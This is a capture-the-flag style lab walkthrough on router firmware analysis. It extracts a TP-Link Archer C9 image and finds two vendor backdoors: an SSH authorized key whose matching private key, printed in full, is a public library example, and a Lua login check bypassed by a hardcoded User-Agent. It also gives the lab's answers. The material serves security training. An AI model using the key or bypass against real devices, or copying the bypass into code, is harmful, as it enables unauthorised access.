

The image features a word cloud in the shape of the map of India. The words are arranged to fit the geographical outline. The most prominent words, shown in larger fonts, include "ATTACK", "DEFENSE", "LABS", "COURSES", "PENTESTER ACADEMY", "TOOL BOX", "PENTESTING", "RED TEAM", "HACKER", "TRAINING", "ACCESS POINT", "WORLD-CLASS TRAINERS", "PATV", "TEAM LABS", "PENETESTER", "ATTACKDEFENSE LABS", "COURSES ACCESS POINT PENTESTER", "ACCESS POINT", "WORLD-CLASS TRAINERS", "TRAINING COURSES SPATV ACCESS", "PENTESTER ACADEMY", "ATTACKDEFENSE LABS", "COURSES PENTESTER ACADEMY", "TOOL BOX", "PENTESTING", "RED TEAM LABS", "ATTACKDEFENSE LABS", "COURSES PENTESTER ACADEMY", "PENTESTER ACADEMY", "ATTACKDEFENSE LABS", "TOOL BOX", "WORLD-CLASS TRAINERS", "TRAINING", "PENTESTER ACADEMY", "TOOL BOX", "PENTESTING". The words "ATTACK" and "DEFENSE" are the largest and are colored red and dark blue respectively, while the others are in shades of gray. At the bottom center, the text "by PentesterAcademy" is written in black.

Name	SSH and Web UI Backdoors
URL	https://attackdefense.com/challengedetails?cid=1150
Type	Firmware Analysis : WiFi Routers

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

ARM-based router firmware is provided for analysis. It is known that the manufacturer has added backdoors which will allow access to SSH and web UI without knowing the credentials.

Objective: Analyze the firmware image and locate the backdoors credential/token/secret/key.

Step 1: Check the provided file.

Command: ls -l

```
student@attackdefense:~$ ls -l
total 4436
-rw-r--r-- 1 root root 4538497 Jul 10 20:35 tplink-archer-c9.bin
student@attackdefense:~$
```

Step 2: Inspect the firmware using binwalk

Command: binwalk tplink-archer-c9.bin

```
student@attackdefense:~$ binwalk tplink-archer-c9.bin
```

DECIMAL	HEXADECIMAL	DESCRIPTION
8317	0x207D	TRX firmware header, little endian, image size: 1843200 bytes, CRC32: 0xE19F35FE, flag size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x0, rootfs offset: 0x0
8345	0x2099	LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 2633092 bytes, created: 2019-01-30 12:21:02
1851517	0x1C407D	Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2633092 bytes, created: 2019-01-30 12:21:02

```
student@attackdefense:~$
```

Step 3: Extract the firmware using binwalk

Command: binwalk -eM tplink-archer-c9.bin

```
student@attackdefense:~$ binwalk -eM tplink-archer-c9.bin
```

```
Scan Time:      2019-07-10 20:55:47
Target File:    /home/student/tplink-archer-c9.bin
MD5 Checksum:   2483867d6e582e36b210db8f97dcbe0b
Signatures:     344
```

DECIMAL	HEXADECIMAL	DESCRIPTION
8317	0x207D	TRX firmware header, little endian, image size: 1843200 bytes, CRC32: 0xE19F35FE, flag size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x0, rootfs offset: 0x0
8345	0x2099	LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 2633092 bytes, created: 2019-01-30 12:21:02
1851517	0x1C407D	Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2633092 bytes, created: 2019-01-30 12:21:02

```
Scan Time:      2019-07-10 20:55:49
Target File:    /home/student/_tplink-archer-c9.bin.extracted/2099
MD5 Checksum:   5be1e508338620613e95a8a0980fe74c
Signatures:     344
```

Step 4: Change to extract squashfs root directory.

Command: cd _tplink-archer-c9.bin.extracted/squashfs-root/

```
student@attackdefense:~$ cd _tplink-archer-c9.bin.extracted/
1C407D.squashfs 2099          2099.7z          _2099.extracted/ squashfs-root/
student@attackdefense:~$ cd _tplink-archer-c9.bin.extracted/squashfs-root/
bin/  dev/  etc/  lib/  mnt/  overlay/  proc/  rom/  root/  sbin/  sys/  tmp/  usr/
student@attackdefense:~$ cd _tplink-archer-c9.bin.extracted/squashfs-root/
student@attackdefense:~/_tplink-archer-c9.bin.extracted/squashfs-root$
```

Step 5: Check authorized_keys file to check for approved SSH key

Command: cat etc/dropbear/authorized_keys

```
student@attackdefense:~/_tplink-archer-c9.bin.extracted/squashfs-root$ cat etc/dropbear/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQgQCqGKukO1De7zhZj6+H0qtjTkVxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUpwmJG8wVQZKjeGcjD
RMSGkVb1/3j+skZ6Utw+5u09IHnsj6tQ51s1SPrCBkedbNf0Tp0GbMJDyR4e9T04ZZw==
student@attackdefense:~/_tplink-archer-c9.bin.extracted/squashfs-root$
```

On searching the public key on the internet, one can see that the private key for this key is available as an example on a 3rd party website.

https://www.google.com/search?q=AAAAB3NzaC1yc2EAAAADAQABAAQgQCqGKukO1De7zhZj6+H0qtjTkVxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUpwmJG8wVQZKjeGcjDRMSGkVb1/3j+skZ6Utw+5u09IHnsj6tQ51s1SPrCBkedbNf0Tp0GbMJDyR4e9T04ZZw==

Google

AAAAB3NzaC1yc2EAAAADAQABAAQgQCqGKukO1De7zhZj6+H0qtjTkVxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUpwmJG8wVQZKjeGcjDRMSGkVb1/3j+skZ6Utw+5u09IHnsj6tQ51s1SPrCBkedbNf0Tp0GbMJDyR4e9T04ZZw==

All Maps Videos Images News More Settings Tools

About 97 results (0.41 seconds)

[docs/examples.html at master · phpseclib/docs · GitHub](#)
<https://github.com/phpseclib/docs/blob/master/rsa/examples.html>
extract(\$rsa->createKey()); // == \$rsa->createKey(1024) where 1024 is the ...
MIICXAIBAAKBgQCqGKukO1De7zhZj6+H0qtjTkVxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUp ...
AAAAB3NzaC1yc2EAAAADAQABAAQgQCqGKukO1De7zhZj6+ ... 3j+skZ6Utw+5u09IHnsj6tQ51s1SPrCBkedbNf0Tp0GbMJDyR4e9T04ZZw== ...

[php - Создать SSH-форму для ключей PHP - Qaru](#)
<qaru.site/questions/1080536/generate-ssh-keypair-form-php> Translate this page
4 answers
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQgQCqGKukO1De7zhZj6+ ... /3j+skZ6Utw+5u09IHnsj6tQ51s1SPrCBkedbNf0Tp0GbMJDyR4e9T04ZZw== phpseclib-generated-key
... +H0qtjTkVxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUp ...

RSA Examples and Notes - phpseclib
phpseclib.sourceforge.net/new/rsa/examples.html
... 64); // makes it so multi-prime RSA is used extract(\$rsa->createKey()); // == \$rsa->createKey(1024)
where 1024 is the key ... /3j+skZ6Utw+5u09IHnsj6tQ5 ...
You visited this page on 10/7/19.

Secure | phpseclib.sourceforge.net/new/rsa/examples.html

Create Key Pair

RSA Private Key Format:
PKCS#1

RSA Public Key Format:
OpenSSH

```
include('Crypt/RSA.php');

$rsa = new Crypt_RSA();

// $rsa->setPrivateKeyFormat(CRYPT_RSA_PRIVATE_FORMAT_PKCS1);
$rsa->setPublicKeyFormat(CRYPT_RSA_PUBLIC_FORMAT_OPENSSH);

//define('CRYPT_RSA_EXPONENT', 65537);
//define('CRYPT_RSA_SMALLEST_PRIME', 64); // makes it so multi-prime RSA is used
extract($rsa->createKey()); // == $rsa->createKey(1024) where 1024 is the key size
?>
```

[permanent link](#)

Values of \$privatekey and \$publickey:

\$privatekey:

```
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCgKuk01De7zhZj6+H0qtjTkvxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUp
wmJG8wVQZKjeGcJDOL5UlsuusFncCzWbQ7RKNUSesmQRM5GkVb1/3j+skZ6Utw+5u09lHnsj6tQ5
1s1SPrcBKedbnf0Tp0GbmJdyR4e9T04ZZwIDAQABAoGAFijko56+qGyN8M0RVyARAXz++xTqHBLh
3tx4VgMtrQ+WegCjhoTwo23KMBauJGSYnRmoBZM3lMftKevIKaIdPExvYCDm5dYq3XTokkLv5L2
pIIVOFMDG+KESnAFV712c+cnzRMw0+b6f8mRICJzZuxVLL6Q02fVli55/mbSYxECQDeAw6fiIQX
GukB14eMZzt4nscy2o12KyYner3VpoeE+Hp2q+Z3pvAMd/aNzQ/W9WaI+NRfcxUJrmfPwIGm63il
AkeAxcL5HQb2bQr4ByorcmMm/hEP2MZROV73yF41hPsRC9m66Krhe09HPTJuo3/9s5p+sqGxO1F
L0NDt4SkosjGwJAFklyR1uZ/wPjjj611cdBcztlPdcoxssQgnh85BzCj/u3wqBpE2vjvvyvYI5k
X6zk750ljKtt2jny2+00VsBerQJBAJGc1Mg5Oydo5NwD6B1R0rPxgo2bpTbu/fhrT8ebHKTz2ep1
U9VQQ5QzY1ozMVX8i1m5WUTLPz2yLJI8QvdXqhmCQBGoIuSoSjaFuhv7i1cEGpb88h5NBVZzWxGZ
37sJ5QsW+sJyolde3xH8vdXhzU7eT82D6X/scw9RZz+/6rCJ4p0=
-----END RSA PRIVATE KEY-----
```

\$publickey:

```
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQQCgKuk01De7zhZj6+H0qtjTkvxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUp
```

One can login into the router using this private key.

Step 6: For web UI backdoor, check the checkpasswd() function present in usr/lib/lua/sys.lua file.

Command: vim usr/lib/lua/luci/sys.lua

```
function user.checkpasswd(username, pass)
    local ua = luci.http.getenv("HTTP_USER_AGENT")

    if ua and ua == "d2232efc39984c22710bfe6c7fee046f" then
        return true
    end

    local pwh, pwe = user.getpasswd(username)
    if pwe then
        return (pwh == nil or nixio.crypt(pass, pwh) == pwh)
    end
    return false
end

function user.setpasswd(username, password)
"usr/lib/lua/luci/sys.lua" 521 lines --83%--
```

When user agent is set to a special value (d2232efc39984c22710bfe6c7fee046f in this case), the authentication will be bypassed and admin portal will be given to the requestor.

Q1. Provide the first 10 characters of the private key?

Answer: MIICXAIBAA

Q2. Which user-agent (UA) can be used to access the web UI without providing credentials?

Answer: d2232efc39984c22710bfe6c7fee046f

References:

1. Binwalk (<https://github.com/ReFirmLabs/binwalk>)